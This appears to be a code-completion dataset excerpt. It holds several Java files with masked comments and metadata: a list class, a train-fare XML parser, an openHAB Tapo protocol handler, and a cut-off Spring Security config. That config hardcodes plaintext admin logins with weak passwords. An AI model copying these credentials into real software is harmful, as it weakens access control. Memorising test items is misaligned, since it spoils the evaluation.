TabellListeIterator() { denne = 0; fjernOK = false; iteratorendringer = endringer; } @Override public boolean hasNext() // sjekker om det er flere igjen { return denne < antall; // sjekker verdien til denne } @Override public T next() { if (iteratorendringer != endringer) { throw new ConcurrentModificationException("Listen er endret!"); } if (!hasNext()) { throw new NoSuchElementException("Tomt eller ingen verdier igjen!"); } T denneverdi = a[denne]; // henter aktuell verdi denne++; // flytter indeksen fjernOK = true; // nå kan remove() kalles return denneverdi; // returnerer verdien } @Override public void forEachRemaining(Consumer<? super T> action) { while (denne < antall) { action.accept(a[denne++]); } } @Override public void remove() { if (iteratorendringer != endringer) throw new ConcurrentModificationException("Listen er endret!"); if (!fjernOK) throw new IllegalStateException("Ulovlig tilstand!"); fjernOK = false; // remove() kan ikke kalles på nytt // verdien i denne - 1 skal fjernes da den ble returnert i siste kall // på next(), verdiene fra og med denne flyttes derfor en mot venstre antall--; // en verdi vil bli fjernet denne--; // denne må flyttes til venstre for (int i = denne; i < antall; i++) a[i] = a[i + 1]; // tetter igjen a[antall] = null; // verdien som lå lengst til høyre nulles endringer++; iteratorendringer++; } } // TabellListeIterator } // TabellListe
ConsiliumB/AlgDat
src/modules/TabellListe.java
3,136
// pga. konverteringen: Object[] -> T[]
line_comment
nl
package modules; import java.util.Arrays; import java.util.ConcurrentModificationException; import java.util.Iterator; import java.util.NoSuchElementException; import java.util.Objects; import java.util.StringJoiner; import java.util.function.Consumer; import java.util.function.Predicate; public class TabellListe<T> implements Liste<T> { private T[] a; private int antall; private int endringer; public TabellListe(int størrelse) // konstruktør { @SuppressWarnings("unchecked") // pga. konverteringen:<SUF> T[] b = (T[]) new Object[størrelse]; // oppretter tabellen a = b; antall = 0; // foreløpig ingen verdier endringer = 0; // foreløpig ingen endringer } public TabellListe() // standardkonstruktør { this(10); // startstørrelse på 10 } public TabellListe(T[] b) // en T-tabell som parameter { this(b.length); // kaller en konstruktør for (T verdi : b) { if (verdi != null) a[antall++] = verdi; // hopper over null-verdier } } private static void fratilKontroll(int antall, int fra, int til) { if (fra < 0) // fra er negativ throw new IndexOutOfBoundsException ("fra(" + fra + ") er negativ!"); if (til > antall) // til er utenfor tabellen throw new IndexOutOfBoundsException ("til(" + til + ") > antall(" + antall + ")"); if (fra > til) // fra er større enn til throw new IllegalArgumentException ("fra(" + fra + ") > til(" + til + ") - illegalt intervall!"); } public Liste<T> subliste(int fra, int til) { fratilKontroll(antall, fra, til); TabellListe<T> liste = new TabellListe<>(til - fra); for (int i = fra, j = 0; i < til; i++, j++) liste.a[j] = a[i]; liste.antall = til - fra; return liste; } @Override public boolean leggInn(T verdi) // inn bakerst { Objects.requireNonNull(verdi, "null er ulovlig!"); // En full tabell utvides med 50% if (antall == a.length) { a = Arrays.copyOf(a,(3*antall)/2 + 1); } a[antall++] = verdi; // setter inn ny verdi endringer++; return true; } @Override public void leggInn(int indeks, T verdi) { Objects.requireNonNull(verdi, "null er ulovlig!"); indeksKontroll(indeks, true); // true: indeks = antall er lovlig // En full tabell utvides med 50% if (antall == a.length) a = Arrays.copyOf(a,(3*antall)/2 + 1); // rydder plass til den nye verdien for (int i = antall; i > indeks; i--) a[i] = a[i-1]; a[indeks] = verdi; // setter inn ny verdi antall++; // en ny verdi endringer++; // en endring } @Override public int antall() { return antall; // returnerer antallet } @Override public boolean tom() { return antall == 0; // listen er tom hvis antall er 0 } @Override public T hent(int indeks) { indeksKontroll(indeks, false); // false: indeks = antall er ulovlig return a[indeks]; // returnerer er tabellelement } @Override public int indeksTil(T verdi) { for (int i = 0; i < antall; i++) { if (a[i].equals(verdi)) return i; // funnet! } return -1; // ikke funnet! } @Override public boolean inneholder(T verdi) { return indeksTil(verdi) != -1; } @Override public T oppdater(int indeks, T verdi) { Objects.requireNonNull(verdi, "null er ulovlig!"); indeksKontroll(indeks, false); // false: indeks = antall er ulovlig T gammelverdi = a[indeks]; // tar vare på den gamle verdien a[indeks] = verdi; // oppdaterer endringer++; // en endring return gammelverdi; // returnerer den gamle verdien } @Override public T fjern(int indeks) { indeksKontroll(indeks, false); // false: indeks = antall er ulovlig T verdi = a[indeks]; antall--; // reduserer antallet // sletter ved å flytte verdier mot venstre for (int i = indeks; i < antall; i++) a[i] = a[i + 1]; a[antall] = null; // tilrettelegger for "søppeltømming" endringer++; return verdi; } @Override public boolean fjern(T verdi) { Objects.requireNonNull(verdi, "null er ulovlig!"); for (int i = 0; i < antall; i++) { if (a[i].equals(verdi)) { antall--; // reduserer antallet // sletter ved å flytte verdier mot venstre for (int j = i; j < antall; j++) a[j] = a[j + 1]; a[antall] = null; // tilrettelegger for "søppeltømming" endringer++; return true; // vellykket fjerning } } return false; // ingen fjerning } @Override public boolean fjernHvis(Predicate<? super T> p) // betingelsesfjerning { Objects.requireNonNull(p, "predikatet er null"); // kaster unntak int nyttAntall = antall; for (int i = 0, j = 0; j < antall; j++) { if (p.test(a[j])) nyttAntall--; // a[j] skal fjernes else a[i++] = a[j]; // forskyver } for (int i = nyttAntall; i < antall; i++) { a[i] = null; // tilrettelegger for "søppeltømming" } boolean fjernet = nyttAntall < antall; if (fjernet) endringer++; antall = nyttAntall; return fjernet; } @Override @SuppressWarnings("unchecked") public void nullstill() { if (a.length > 10) a = (T[])new Object[10]; else for (int i = 0; i < antall; i++) { a[i] = null; } antall = 0; endringer++; } public String toString2() { StringBuilder s = new StringBuilder("["); if (!tom()) { s.append(a[0]); for (int i = 1; i < antall; i++) { s.append(',').append(' ').append(a[i]); } } s.append(']'); return s.toString(); } @Override public String toString() { StringJoiner s = new StringJoiner(", ","[","]"); for (int i = 0; i < antall; i++) s.add(a[i].toString()); return s.toString(); } @SuppressWarnings("unchecked") public <T> T[] tilTabell(T[] b) { if (b.length < antall) return (T[]) Arrays.copyOf(a, antall, b.getClass()); System.arraycopy(a, 0, b, 0, antall); if (b.length > antall) b[antall] = null; return b; } @Override public void forEach(Consumer<? super T> action) { for (int i = 0; i < antall; i++) { action.accept(a[i]); } } @Override public Iterator<T> iterator() { return new TabellListeIterator(); } private class TabellListeIterator implements Iterator<T> { private int denne; // instansvariabel private boolean fjernOK; // instansvariabel private int iteratorendringer; // instansvariabel private TabellListeIterator() { denne = 0; fjernOK = false; iteratorendringer = endringer; } @Override public boolean hasNext() // sjekker om det er flere igjen { return denne < antall; // sjekker verdien til denne } @Override public T next() { if (iteratorendringer != endringer) { throw new ConcurrentModificationException("Listen er endret!"); } if (!hasNext()) { throw new NoSuchElementException("Tomt eller ingen verdier igjen!"); } T denneverdi = a[denne]; // henter aktuell verdi denne++; // flytter indeksen fjernOK = true; // nå kan remove() kalles return denneverdi; // returnerer verdien } @Override public void forEachRemaining(Consumer<? super T> action) { while (denne < antall) { action.accept(a[denne++]); } } @Override public void remove() { if (iteratorendringer != endringer) throw new ConcurrentModificationException("Listen er endret!"); if (!fjernOK) throw new IllegalStateException("Ulovlig tilstand!"); fjernOK = false; // remove() kan ikke kalles på nytt // verdien i denne - 1 skal fjernes da den ble returnert i siste kall // på next(), verdiene fra og med denne flyttes derfor en mot venstre antall--; // en verdi vil bli fjernet denne--; // denne må flyttes til venstre for (int i = denne; i < antall; i++) a[i] = a[i + 1]; // tetter igjen a[antall] = null; // verdien som lå lengst til høyre nulles endringer++; iteratorendringer++; } } // TabellListeIterator } // TabellListe
False
2,593
13
2,744
13
2,779
13
2,745
13
3,155
13
false
false
false
false
false
true
1,177
84025_2
package nl.pvanassen.ns.model.prijzen; import nl.pvanassen.ns.handle.Handle; import nl.pvanassen.ns.xml.Xml; import java.io.InputStream; import java.math.BigDecimal; import java.util.Collections; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; /** * Handle for parsing 'producten' xml, as defined in <a * href="http://www.ns.nl/api/api#api-documentatie-prijzen">documentatie prijzen</a> * * @author Paul van Assen * */ public class PrijsHandle implements Handle<Prijzen> { /** * {@inheritDoc} * * @see nl.pvanassen.ns.handle.Handle#getModel(java.io.InputStream) */ @Override public Prijzen getModel(InputStream stream) { Map<String, VervoerderKeuze> vervoerderKeuzes = new HashMap<>(); Xml xml = Xml.getXml(stream, "VervoerderKeuzes"); for (Xml vervoerderKeuze : xml.children("VervoerderKeuze")) { String vervoerderKeuzeNaam = vervoerderKeuze.attr("naam"); int tariefEenheden = Integer.parseInt(vervoerderKeuze.child("Tariefeenheden").content()); Map<String, ReisType> reisTypes = new HashMap<>(); for (Xml reisTypeXml : vervoerderKeuze.children("ReisType")) { String reisTypeNaam = reisTypeXml.attr("name"); Map<Integer, ReisKlasse> reisKlassen = new HashMap<>(); for (Xml reisKlasseXml : reisTypeXml.children("ReisKlasse")) { int klasse = Integer.parseInt(reisKlasseXml.attr("klasse")); // <Prijsdeel vervoerder="NS" prijs="47.20" naar="GDM" van="RTD"/> List<Prijsdeel> prijsdelen = new LinkedList<>(); for (Xml prijsdeelXml : reisKlasseXml.children("Prijsdeel")) { prijsdelen.add(new Prijsdeel(prijsdeelXml.attr("vervoerder"), new BigDecimal(prijsdeelXml.attr("prijs")), prijsdeelXml.attr("van"), prijsdeelXml.attr("naar"))); } BigDecimal totaal = new BigDecimal(reisKlasseXml.child("Totaal").content()); Map<String, BigDecimal> kortingprijzen = new HashMap<>(); for (Xml kortingsPrijsXml : reisKlasseXml.child("Korting").children("Kortingsprijs")) { kortingprijzen.put(kortingsPrijsXml.attr("name"), new BigDecimal(kortingsPrijsXml.attr("prijs"))); } reisKlassen.put(klasse, new ReisKlasse(klasse, prijsdelen, totaal, Collections.unmodifiableMap(kortingprijzen))); } reisTypes.put(reisTypeNaam, new ReisType(reisTypeNaam, Collections.unmodifiableMap(reisKlassen))); } vervoerderKeuzes.put(vervoerderKeuzeNaam, new VervoerderKeuze(vervoerderKeuzeNaam, tariefEenheden, Collections.unmodifiableMap(reisTypes))); } return new Prijzen(Collections.unmodifiableMap(vervoerderKeuzes)); } }
NS-API/ns-api
src/main/java/nl/pvanassen/ns/model/prijzen/PrijsHandle.java
1,004
// <Prijsdeel vervoerder="NS" prijs="47.20" naar="GDM" van="RTD"/>
line_comment
nl
package nl.pvanassen.ns.model.prijzen; import nl.pvanassen.ns.handle.Handle; import nl.pvanassen.ns.xml.Xml; import java.io.InputStream; import java.math.BigDecimal; import java.util.Collections; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; /** * Handle for parsing 'producten' xml, as defined in <a * href="http://www.ns.nl/api/api#api-documentatie-prijzen">documentatie prijzen</a> * * @author Paul van Assen * */ public class PrijsHandle implements Handle<Prijzen> { /** * {@inheritDoc} * * @see nl.pvanassen.ns.handle.Handle#getModel(java.io.InputStream) */ @Override public Prijzen getModel(InputStream stream) { Map<String, VervoerderKeuze> vervoerderKeuzes = new HashMap<>(); Xml xml = Xml.getXml(stream, "VervoerderKeuzes"); for (Xml vervoerderKeuze : xml.children("VervoerderKeuze")) { String vervoerderKeuzeNaam = vervoerderKeuze.attr("naam"); int tariefEenheden = Integer.parseInt(vervoerderKeuze.child("Tariefeenheden").content()); Map<String, ReisType> reisTypes = new HashMap<>(); for (Xml reisTypeXml : vervoerderKeuze.children("ReisType")) { String reisTypeNaam = reisTypeXml.attr("name"); Map<Integer, ReisKlasse> reisKlassen = new HashMap<>(); for (Xml reisKlasseXml : reisTypeXml.children("ReisKlasse")) { int klasse = Integer.parseInt(reisKlasseXml.attr("klasse")); // <Prijsdeel vervoerder="NS"<SUF> List<Prijsdeel> prijsdelen = new LinkedList<>(); for (Xml prijsdeelXml : reisKlasseXml.children("Prijsdeel")) { prijsdelen.add(new Prijsdeel(prijsdeelXml.attr("vervoerder"), new BigDecimal(prijsdeelXml.attr("prijs")), prijsdeelXml.attr("van"), prijsdeelXml.attr("naar"))); } BigDecimal totaal = new BigDecimal(reisKlasseXml.child("Totaal").content()); Map<String, BigDecimal> kortingprijzen = new HashMap<>(); for (Xml kortingsPrijsXml : reisKlasseXml.child("Korting").children("Kortingsprijs")) { kortingprijzen.put(kortingsPrijsXml.attr("name"), new BigDecimal(kortingsPrijsXml.attr("prijs"))); } reisKlassen.put(klasse, new ReisKlasse(klasse, prijsdelen, totaal, Collections.unmodifiableMap(kortingprijzen))); } reisTypes.put(reisTypeNaam, new ReisType(reisTypeNaam, Collections.unmodifiableMap(reisKlassen))); } vervoerderKeuzes.put(vervoerderKeuzeNaam, new VervoerderKeuze(vervoerderKeuzeNaam, tariefEenheden, Collections.unmodifiableMap(reisTypes))); } return new Prijzen(Collections.unmodifiableMap(vervoerderKeuzes)); } }
False
771
33
892
33
791
29
892
33
978
34
false
false
false
false
false
true
3,896
177071_18
/** * Copyright (c) 2010-2024 Contributors to the openHAB project * * See the NOTICE file(s) distributed with this work for additional * information. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0 * * SPDX-License-Identifier: EPL-2.0 */ package org.openhab.binding.tapocontrol.internal.api.protocol.klap; import static org.openhab.binding.tapocontrol.internal.TapoControlHandlerFactory.GSON; import static org.openhab.binding.tapocontrol.internal.constants.TapoBindingSettings.*; import static org.openhab.binding.tapocontrol.internal.constants.TapoErrorCode.*; import static org.openhab.binding.tapocontrol.internal.helpers.utils.ByteUtils.*; import static org.openhab.binding.tapocontrol.internal.helpers.utils.JsonUtils.*; import static org.openhab.binding.tapocontrol.internal.helpers.utils.TapoUtils.*; import java.util.Objects; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import org.eclipse.jdt.annotation.NonNullByDefault; import org.eclipse.jetty.client.HttpResponse; import org.eclipse.jetty.client.api.ContentResponse; import org.eclipse.jetty.client.api.Request; import org.eclipse.jetty.client.api.Result; import org.eclipse.jetty.client.util.BufferingResponseListener; import org.eclipse.jetty.client.util.BytesContentProvider; import org.eclipse.jetty.client.util.StringContentProvider; import org.eclipse.jetty.http.HttpMethod; import org.openhab.binding.tapocontrol.internal.api.TapoConnectorInterface; import org.openhab.binding.tapocontrol.internal.dto.TapoBaseRequestInterface; import org.openhab.binding.tapocontrol.internal.dto.TapoRequest; import org.openhab.binding.tapocontrol.internal.dto.TapoResponse; import org.openhab.binding.tapocontrol.internal.helpers.TapoCredentials; import org.openhab.binding.tapocontrol.internal.helpers.TapoErrorHandler; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Handler class for TAPO-KLAP-Protocol * * @author Christian Wild - Initial contribution */ @NonNullByDefault public class KlapProtocol implements org.openhab.binding.tapocontrol.internal.api.protocol.TapoProtocolInterface { private final Logger logger = LoggerFactory.getLogger(KlapProtocol.class); protected final TapoConnectorInterface httpDelegator; private KlapSession session; private String uid; /*********************** * Init Class **********************/ public KlapProtocol(TapoConnectorInterface httpDelegator) { this.httpDelegator = httpDelegator; session = new KlapSession(this); uid = httpDelegator.getThingUID() + " / HTTP-KLAP"; } @Override public boolean login(TapoCredentials tapoCredentials) throws TapoErrorHandler { logger.trace("({}) login to device", uid); session.reset(); session.login(tapoCredentials); return isLoggedIn(); } @Override public void logout() { session.reset(); } @Override public boolean isLoggedIn() { return session.isHandshakeComplete() && session.seedIsOkay() && !session.isExpired(); } /*********************** * Request Sender **********************/ /* * send synchron request - response will be handled in [responseReceived()] function */ @Override public void sendRequest(TapoRequest tapoRequest) throws TapoErrorHandler { String url = getUrl(); String command = tapoRequest.method(); logger.trace("({}) sending unencrypted request: '{}' to '{}' ", uid, tapoRequest, url); Request httpRequest = httpDelegator.getHttpClient().newRequest(url).method(HttpMethod.POST.toString()); /* set header */ httpRequest = setHeaders(httpRequest); httpRequest.timeout(TAPO_HTTP_TIMEOUT_MS, TimeUnit.MILLISECONDS); /* add request body */ httpRequest.content(new StringContentProvider(tapoRequest.toString(), CONTENT_CHARSET), CONTENT_TYPE_JSON); try { responseReceived(httpRequest.send(), command); } catch (Exception e) { throw new TapoErrorHandler(e, "error sending content"); } } /** * handle asynchron request-response * pushes (decrypted) TapoResponse to [httpDelegator.handleResponse()]-function */ @Override public void sendAsyncRequest(TapoBaseRequestInterface tapoRequest) throws TapoErrorHandler { String url = getUrl(); String command = tapoRequest.method(); logger.trace("({}) sendAsync unencrypted request: '{}' to '{}' ", uid, tapoRequest, url); /* encrypt request */ byte[] encodedBytes = session.encryptRequest(tapoRequest); String encrypteString = byteArrayToHex(encodedBytes); Integer ivSequence = session.getIvSequence(); logger.trace("({}) encrypted request is '{}' with sequence '{}'", uid, encrypteString, ivSequence); Request httpRequest = httpDelegator.getHttpClient().newRequest(url).method(HttpMethod.POST.toString()); /* set header and params */ httpRequest = setHeaders(httpRequest); httpRequest.param("seq", ivSequence.toString()); /* add request body */ httpRequest.content(new BytesContentProvider(encodedBytes)); httpRequest.timeout(TAPO_HTTP_TIMEOUT_MS, TimeUnit.MILLISECONDS).send(new BufferingResponseListener() { @NonNullByDefault({}) @Override public void onComplete(Result result) { final HttpResponse response = (HttpResponse) result.getResponse(); if (result.getFailure() != null) { /* handle result errors */ Throwable e = result.getFailure(); String errorMessage = getValueOrDefault(e.getMessage(), ""); /* throw errors to delegator */ if (e instanceof TimeoutException) { logger.debug("({}) sendAsyncRequest timeout'{}'", uid, errorMessage); httpDelegator.handleError(new TapoErrorHandler(ERR_BINDING_CONNECT_TIMEOUT, errorMessage)); } else { logger.debug("({}) sendAsyncRequest failed'{}'", uid, errorMessage); httpDelegator.handleError(new TapoErrorHandler(new Exception(e), errorMessage)); } } else if (response.getStatus() != 200) { logger.debug("({}) sendAsyncRequest response error'{}'", uid, response.getStatus()); httpDelegator.handleError(new TapoErrorHandler(ERR_BINDING_HTTP_RESPONSE, getContentAsString())); } else { /* request successful */ byte[] responseBytes = getContent(); try { encryptedResponseReceived(responseBytes, ivSequence, command); } catch (TapoErrorHandler tapoError) { httpDelegator.handleError(tapoError); } } } }); } /************************ * RESPONSE HANDLERS ************************/ /** * handle synchron request-response * pushes (decrypted) TapoResponse to [httpDelegator.handleResponse()]-function */ @Override public void responseReceived(ContentResponse response, String command) throws TapoErrorHandler { logger.trace("({}) received response content: '{}'", uid, response.getContentAsString()); TapoResponse tapoResponse = getTapoResponse(response); httpDelegator.handleResponse(tapoResponse, command); httpDelegator.responsePasstrough(response.getContentAsString(), command); } /** * handle asynchron request-response * pushes (decrypted) TapoResponse to [httpDelegator.handleResponse()]-function */ @Override public void asyncResponseReceived(String content, String command) throws TapoErrorHandler { try { TapoResponse tapoResponse = getTapoResponse(content); httpDelegator.handleResponse(tapoResponse, command); } catch (TapoErrorHandler tapoError) { httpDelegator.handleError(tapoError); } } /** * handle encrypted response. decrypt it and pass to asyncRequestReceived * * @param content bytearray with encrypted payload * @param ivSeq ivSequence-Number which is incremented each request * @param command command was sent to device * @throws TapoErrorHandler */ public void encryptedResponseReceived(byte[] content, Integer ivSeq, String command) throws TapoErrorHandler { String stringContent = byteArrayToHex(content); logger.trace("({}) receivedRespose '{}'", uid, stringContent); String decryptedResponse = session.decryptResponse(content, ivSeq); logger.trace("({}) decrypted response: '{}'", uid, decryptedResponse); asyncResponseReceived(decryptedResponse, command); } /** * Get Tapo-Response from Contentresponse * decrypt if is encrypted */ protected TapoResponse getTapoResponse(ContentResponse response) throws TapoErrorHandler { if (response.getStatus() == 200) { return getTapoResponse(response.getContentAsString()); } else { logger.debug("({}) invalid response received", uid); throw new TapoErrorHandler(ERR_BINDING_HTTP_RESPONSE, "invalid response receicved"); } } /** * Get Tapo-Response from responsestring * decrypt if is encrypted */ protected TapoResponse getTapoResponse(String responseString) throws TapoErrorHandler { if (isValidJson(responseString)) { TapoResponse tapoResponse = Objects.requireNonNull(GSON.fromJson(responseString, TapoResponse.class)); if (tapoResponse.hasError()) { throw new TapoErrorHandler(tapoResponse.errorCode(), tapoResponse.message()); } return tapoResponse; } else { logger.debug("({}) invalid response received", uid); throw new TapoErrorHandler(ERR_BINDING_HTTP_RESPONSE, "invalid response receicved"); } } /************************ * PRIVATE HELPERS ************************/ protected String getUrl() { String baseUrl = String.format(TAPO_DEVICE_URL, httpDelegator.getBaseUrl()); if (session.isHandshakeComplete()) { return baseUrl + "/request"; } else { return baseUrl; } } /* * Set HTTP-Headers */ protected Request setHeaders(Request httpRequest) { if (!session.isHandshakeComplete()) { httpRequest.header("content-type", CONTENT_TYPE_JSON); httpRequest.header("Accept", CONTENT_TYPE_JSON); } if (!session.getCookie().isBlank()) { httpRequest.header(HTTP_AUTH_TYPE_COOKIE, session.getCookie()); } return httpRequest; } }
openhab/openhab-addons
bundles/org.openhab.binding.tapocontrol/src/main/java/org/openhab/binding/tapocontrol/internal/api/protocol/klap/KlapProtocol.java
3,075
/* * Set HTTP-Headers */
block_comment
nl
/** * Copyright (c) 2010-2024 Contributors to the openHAB project * * See the NOTICE file(s) distributed with this work for additional * information. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0 * * SPDX-License-Identifier: EPL-2.0 */ package org.openhab.binding.tapocontrol.internal.api.protocol.klap; import static org.openhab.binding.tapocontrol.internal.TapoControlHandlerFactory.GSON; import static org.openhab.binding.tapocontrol.internal.constants.TapoBindingSettings.*; import static org.openhab.binding.tapocontrol.internal.constants.TapoErrorCode.*; import static org.openhab.binding.tapocontrol.internal.helpers.utils.ByteUtils.*; import static org.openhab.binding.tapocontrol.internal.helpers.utils.JsonUtils.*; import static org.openhab.binding.tapocontrol.internal.helpers.utils.TapoUtils.*; import java.util.Objects; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import org.eclipse.jdt.annotation.NonNullByDefault; import org.eclipse.jetty.client.HttpResponse; import org.eclipse.jetty.client.api.ContentResponse; import org.eclipse.jetty.client.api.Request; import org.eclipse.jetty.client.api.Result; import org.eclipse.jetty.client.util.BufferingResponseListener; import org.eclipse.jetty.client.util.BytesContentProvider; import org.eclipse.jetty.client.util.StringContentProvider; import org.eclipse.jetty.http.HttpMethod; import org.openhab.binding.tapocontrol.internal.api.TapoConnectorInterface; import org.openhab.binding.tapocontrol.internal.dto.TapoBaseRequestInterface; import org.openhab.binding.tapocontrol.internal.dto.TapoRequest; import org.openhab.binding.tapocontrol.internal.dto.TapoResponse; import org.openhab.binding.tapocontrol.internal.helpers.TapoCredentials; import org.openhab.binding.tapocontrol.internal.helpers.TapoErrorHandler; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Handler class for TAPO-KLAP-Protocol * * @author Christian Wild - Initial contribution */ @NonNullByDefault public class KlapProtocol implements org.openhab.binding.tapocontrol.internal.api.protocol.TapoProtocolInterface { private final Logger logger = LoggerFactory.getLogger(KlapProtocol.class); protected final TapoConnectorInterface httpDelegator; private KlapSession session; private String uid; /*********************** * Init Class **********************/ public KlapProtocol(TapoConnectorInterface httpDelegator) { this.httpDelegator = httpDelegator; session = new KlapSession(this); uid = httpDelegator.getThingUID() + " / HTTP-KLAP"; } @Override public boolean login(TapoCredentials tapoCredentials) throws TapoErrorHandler { logger.trace("({}) login to device", uid); session.reset(); session.login(tapoCredentials); return isLoggedIn(); } @Override public void logout() { session.reset(); } @Override public boolean isLoggedIn() { return session.isHandshakeComplete() && session.seedIsOkay() && !session.isExpired(); } /*********************** * Request Sender **********************/ /* * send synchron request - response will be handled in [responseReceived()] function */ @Override public void sendRequest(TapoRequest tapoRequest) throws TapoErrorHandler { String url = getUrl(); String command = tapoRequest.method(); logger.trace("({}) sending unencrypted request: '{}' to '{}' ", uid, tapoRequest, url); Request httpRequest = httpDelegator.getHttpClient().newRequest(url).method(HttpMethod.POST.toString()); /* set header */ httpRequest = setHeaders(httpRequest); httpRequest.timeout(TAPO_HTTP_TIMEOUT_MS, TimeUnit.MILLISECONDS); /* add request body */ httpRequest.content(new StringContentProvider(tapoRequest.toString(), CONTENT_CHARSET), CONTENT_TYPE_JSON); try { responseReceived(httpRequest.send(), command); } catch (Exception e) { throw new TapoErrorHandler(e, "error sending content"); } } /** * handle asynchron request-response * pushes (decrypted) TapoResponse to [httpDelegator.handleResponse()]-function */ @Override public void sendAsyncRequest(TapoBaseRequestInterface tapoRequest) throws TapoErrorHandler { String url = getUrl(); String command = tapoRequest.method(); logger.trace("({}) sendAsync unencrypted request: '{}' to '{}' ", uid, tapoRequest, url); /* encrypt request */ byte[] encodedBytes = session.encryptRequest(tapoRequest); String encrypteString = byteArrayToHex(encodedBytes); Integer ivSequence = session.getIvSequence(); logger.trace("({}) encrypted request is '{}' with sequence '{}'", uid, encrypteString, ivSequence); Request httpRequest = httpDelegator.getHttpClient().newRequest(url).method(HttpMethod.POST.toString()); /* set header and params */ httpRequest = setHeaders(httpRequest); httpRequest.param("seq", ivSequence.toString()); /* add request body */ httpRequest.content(new BytesContentProvider(encodedBytes)); httpRequest.timeout(TAPO_HTTP_TIMEOUT_MS, TimeUnit.MILLISECONDS).send(new BufferingResponseListener() { @NonNullByDefault({}) @Override public void onComplete(Result result) { final HttpResponse response = (HttpResponse) result.getResponse(); if (result.getFailure() != null) { /* handle result errors */ Throwable e = result.getFailure(); String errorMessage = getValueOrDefault(e.getMessage(), ""); /* throw errors to delegator */ if (e instanceof TimeoutException) { logger.debug("({}) sendAsyncRequest timeout'{}'", uid, errorMessage); httpDelegator.handleError(new TapoErrorHandler(ERR_BINDING_CONNECT_TIMEOUT, errorMessage)); } else { logger.debug("({}) sendAsyncRequest failed'{}'", uid, errorMessage); httpDelegator.handleError(new TapoErrorHandler(new Exception(e), errorMessage)); } } else if (response.getStatus() != 200) { logger.debug("({}) sendAsyncRequest response error'{}'", uid, response.getStatus()); httpDelegator.handleError(new TapoErrorHandler(ERR_BINDING_HTTP_RESPONSE, getContentAsString())); } else { /* request successful */ byte[] responseBytes = getContent(); try { encryptedResponseReceived(responseBytes, ivSequence, command); } catch (TapoErrorHandler tapoError) { httpDelegator.handleError(tapoError); } } } }); } /************************ * RESPONSE HANDLERS ************************/ /** * handle synchron request-response * pushes (decrypted) TapoResponse to [httpDelegator.handleResponse()]-function */ @Override public void responseReceived(ContentResponse response, String command) throws TapoErrorHandler { logger.trace("({}) received response content: '{}'", uid, response.getContentAsString()); TapoResponse tapoResponse = getTapoResponse(response); httpDelegator.handleResponse(tapoResponse, command); httpDelegator.responsePasstrough(response.getContentAsString(), command); } /** * handle asynchron request-response * pushes (decrypted) TapoResponse to [httpDelegator.handleResponse()]-function */ @Override public void asyncResponseReceived(String content, String command) throws TapoErrorHandler { try { TapoResponse tapoResponse = getTapoResponse(content); httpDelegator.handleResponse(tapoResponse, command); } catch (TapoErrorHandler tapoError) { httpDelegator.handleError(tapoError); } } /** * handle encrypted response. decrypt it and pass to asyncRequestReceived * * @param content bytearray with encrypted payload * @param ivSeq ivSequence-Number which is incremented each request * @param command command was sent to device * @throws TapoErrorHandler */ public void encryptedResponseReceived(byte[] content, Integer ivSeq, String command) throws TapoErrorHandler { String stringContent = byteArrayToHex(content); logger.trace("({}) receivedRespose '{}'", uid, stringContent); String decryptedResponse = session.decryptResponse(content, ivSeq); logger.trace("({}) decrypted response: '{}'", uid, decryptedResponse); asyncResponseReceived(decryptedResponse, command); } /** * Get Tapo-Response from Contentresponse * decrypt if is encrypted */ protected TapoResponse getTapoResponse(ContentResponse response) throws TapoErrorHandler { if (response.getStatus() == 200) { return getTapoResponse(response.getContentAsString()); } else { logger.debug("({}) invalid response received", uid); throw new TapoErrorHandler(ERR_BINDING_HTTP_RESPONSE, "invalid response receicved"); } } /** * Get Tapo-Response from responsestring * decrypt if is encrypted */ protected TapoResponse getTapoResponse(String responseString) throws TapoErrorHandler { if (isValidJson(responseString)) { TapoResponse tapoResponse = Objects.requireNonNull(GSON.fromJson(responseString, TapoResponse.class)); if (tapoResponse.hasError()) { throw new TapoErrorHandler(tapoResponse.errorCode(), tapoResponse.message()); } return tapoResponse; } else { logger.debug("({}) invalid response received", uid); throw new TapoErrorHandler(ERR_BINDING_HTTP_RESPONSE, "invalid response receicved"); } } /************************ * PRIVATE HELPERS ************************/ protected String getUrl() { String baseUrl = String.format(TAPO_DEVICE_URL, httpDelegator.getBaseUrl()); if (session.isHandshakeComplete()) { return baseUrl + "/request"; } else { return baseUrl; } } /* * Set HTTP-Headers <SUF>*/ protected Request setHeaders(Request httpRequest) { if (!session.isHandshakeComplete()) { httpRequest.header("content-type", CONTENT_TYPE_JSON); httpRequest.header("Accept", CONTENT_TYPE_JSON); } if (!session.getCookie().isBlank()) { httpRequest.header(HTTP_AUTH_TYPE_COOKIE, session.getCookie()); } return httpRequest; } }
False
2,174
9
2,503
9
2,653
11
2,503
9
3,078
11
false
false
false
false
false
true
4,019
67243_9
package config; import java.io.UnsupportedEncodingException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import javax.sql.DataSource; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; @Configuration @EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { @Autowired DataSource dataSource; @Autowired public void configAuthentication(AuthenticationManagerBuilder auth) throws Exception { // auth.jdbcAuthentication().dataSource(dataSource) // .usersByUsernameQuery( // "select email, wachtwoord from Beheerder where email=?"); auth.inMemoryAuthentication() .withUser("username").password("123456").roles("HOOFDBEHEERDER").and() .withUser("424698mv").password("maarten").roles("HOOFDBEHEERDER").and() .withUser("427260rv").password("remko").roles("HOOFDBEHEERDER").and() .withUser("pol").password("pol").roles("HOOFDBEHEERDER").and() .withUser("thomas").password("thomas").roles("HOOFDBEHEERDER"); } @Override protected void configure(HttpSecurity http) throws Exception { http.formLogin(). defaultSuccessUrl("/welcome"); http.authorizeRequests() 